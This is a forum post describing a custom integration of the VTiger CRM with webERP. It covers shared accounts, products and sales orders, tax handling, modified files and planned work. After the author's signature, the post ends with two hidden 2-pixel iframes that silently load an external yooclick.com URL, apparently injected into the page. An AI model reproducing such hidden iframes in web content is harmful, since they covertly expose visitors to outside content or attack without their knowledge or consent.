Successful integration of VTiger and webERP

Hello all,

Well, it took a little longer than I thought, but I think I have successfully integrated VTiger and webERP. I have a demo up at <!-- m --><a class="postlink" href="http://testbed2.agora2.com/">http://testbed2.agora2.com/</a><!-- m --> with the demo data sets.

My client has separate departments for sales, production (including inventory and logistics) and finance. The sales department is responsible for the sales process up to the sales order, after which the production and logistics department arranges manufacturing and shipping. Suppliers deal exclusively with production while customers deal exclusively with the Sales Department.

The details of the integration are as follows. Please note that since this is being posted on VTiger's site, I will refer to VTiger terms. A similar posting is being made to webERP's mailing list as well.

For the most part, VTiger works exactly as it always does. I haven't changed the basic functionality of VTiger in any way.


IN VTIGER:

Accounts tab - all account information is now equally and fully shared between both applications. In the modified VTiger, accounts, products and sales orders tabs are now completely integrated with webERP. Accounts can be added, edited or deleted in either program. The following fields have been integrated from webERP: Sales Area, Sales Person, Tax Group, Currency, Stock Location, Default Freight Company, Billing and Shipping Address, and Parent Company. One of the key changes is the required Parent Company field. This was needed to match webERP's structure for tracking customers and branches. If there is no parent, I have added a checkbox to indicate 'Self', automatically filling in the necessary info for the record to save correctly for webERP.

Products tab - inventory is controlled by the production department via webERP. They order raw ingredients and determine manufacturing and hence quantities in stock. Therefore, VTiger can view products and edit some fields, but cannot add or delete products. Quantities in stock and in demand as well as inventory categories are pulled from webERP. Vendor information has been removed, since vendors are controlled by Production and thus webERP. Pricebooks work as normal.

Orders tab - since Production is in charge of suppliers, the Purchase Order tab has been removed. Both webERP and VTiger can post sales orders, with both programs able to view, add and edit orders. Taxes are automatically calculated using webERP's formulas by looking at the location of the customer, the location of the distribution center, and the taxes applicable to the item itself.

One area where webERP excels is in the calculation of taxes. It uses three variables (warehouse/store of origin, product and customer) to automatically calculate the correct rates, including tax-on-tax, tax on international shipments, and a multitude of other combinations. I have added this into VTiger's sales orders. Nevertheless, both webERP and VTiger can manually adjust the tax amount before saving a record.

Invoice tab - has been de-activated for now. Invoices (and packing slips) are generated through webERP. There are two reasons for this: one, invoicing affects accounting and it is already integrated into webERP; second, batched, lotted or controlled products are tracked by webERP at the invoicing and shipping stage of the process. As far as I can tell, VTiger does not handle batches, lots and individually controlled inventory items. I will modify the Invoices tab in VTiger to grab invoice information read-only, in order to inform the sales staff when invoices and deliveries are sent. However, since sales won't be issuing invoices, the Invoices tab will be read-only.

Quotes tab - quotes now have some additional fields to match the sales order modifications. otherwise, works as normal.

Potentials tab - Potentials used to be convertible to an invoice. Since we are no longer using VTiger to create invoices, potentials are instead converted to quotes. This has the added advantage of being able to attach products (via an attached quote) to potentials - to be used for raw material ordering, manufacturing and cash flow projections in webERP.

I also added customized numbering for products, accounts and sales orders that are used by both VTiger and webERP. Otherwise the vast majority of webERP remains unchanged.

Technically speaking, most of the VTiger changes were in the MySQL tables (modifying 'field' table, moving accounts, products, and sales orders to corresponding webERP tables), and to utils.php (several new uitypes for new fields, removing others). I also modified some of the module files in Accounts, Products, Orders, Quotes (minor) and Potentials (minor), as well as a couple of changes to include/general.js. Finally, I did some global searching and replacing on changed fields and tables.


IN WEBERP:

webERP has been modified to post correctly for VTiger. It makes appropriate entries into the crmentity table when adding or editing records shared with VTiger (accounts, products, and sales orders). It also pulls the correct crmid, increases it by one and correctly updates it.

Also, webERP (strangely) didn't record the amounts printed on sales orders (only invoice totals were committed). Now, webERP maintains subtotal, tax, and grand total fields to match VTiger's sales orders.

I also added several new fields to underlying webERP tables to capture VTiger data. This way, VTiger still tracks all of its usual information - just in different tables and with some modified field names. Otherwise the vast majority of webERP remains unchanged. In particular, the following webERP files were modified: CustomerBranches.php, DeliveryDetails.php, Stocks.php, SelectOrderItems.php, and a few include/ files.


TO DO:

* flagging accounts in VTiger that have been flagged in webERP (i.e. over credit limit, account on hold, etc.).
* bringing invoice information into VTiger from webERP (read only)
* synchronizing sales personnel between VTiger and webERP (manually maintained at the moment)
* customizing reports
* building in sales projection tool (using potentials and quotes) tied into production needs and cash flow statement.


FINAL COMMENTS:

The trick to getting this to work was to work with the existing logic and structure of both applications - change too much and they no longer perform as designed. VTiger's strength is the way it creates related information through a unique crmentity id for each item entered, and it continues to do so. It simply uses tables in common with webERP and adds some new information needed for both applications to be able to equally view and manipulate shared records.

VTiger is a fabulous application, and the sales department are thrilled with the upgrade. It clearly reflects the experience and expertise of the people who built it - experienced sales personnel and programmers alike. It would be unreasonable for the webERP team to try and replicate this kind of CRM functionality from scratch: the number of interrelated pieces of data, the tracking of contacts, leads, potentials, quotes, progress on bids, etc. Not only is webERP currently incapable of this type of sales and customer management, webERP was not structured and built to ever make these types of connections.

However, the inverse is also true. webERP was built by people with great insight into production, logistics and accounting. It would be equally unreasonable for the VTiger team to expect to simply create an ad-hoc inventory management system that ties into accounting - the amount of tracking and functionality built into webERP reflects years of experience in this highly specialized field: international shipping, multi-site warehousing and production management, inventory management (batches/lots/controlled/serialised), manufacturing and assembly tracking, weights and dims (calculated and converted), back ordering, etc.

These two products working together is the best of both worlds. When I finish the sales projections integration, it will be able to match projected sales from VTiger with bills of materials in webERP, identifying when raw materials will need to be ordered.

I have the code and MySQL database file available and I would be more than happy to work with anyone else who may be interested. I am kind of new in the open source community so any advice as to what would be the best way of sharing the code would be appreciated. It can be manually installed in a couple of minutes and would be pretty easy to set up a automated installation script to make the necessary changes to the config files.

Keep up the great work - VTiger is an amazing CRM and arguably the best available - and I hope this contribution helps.

Gareth. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;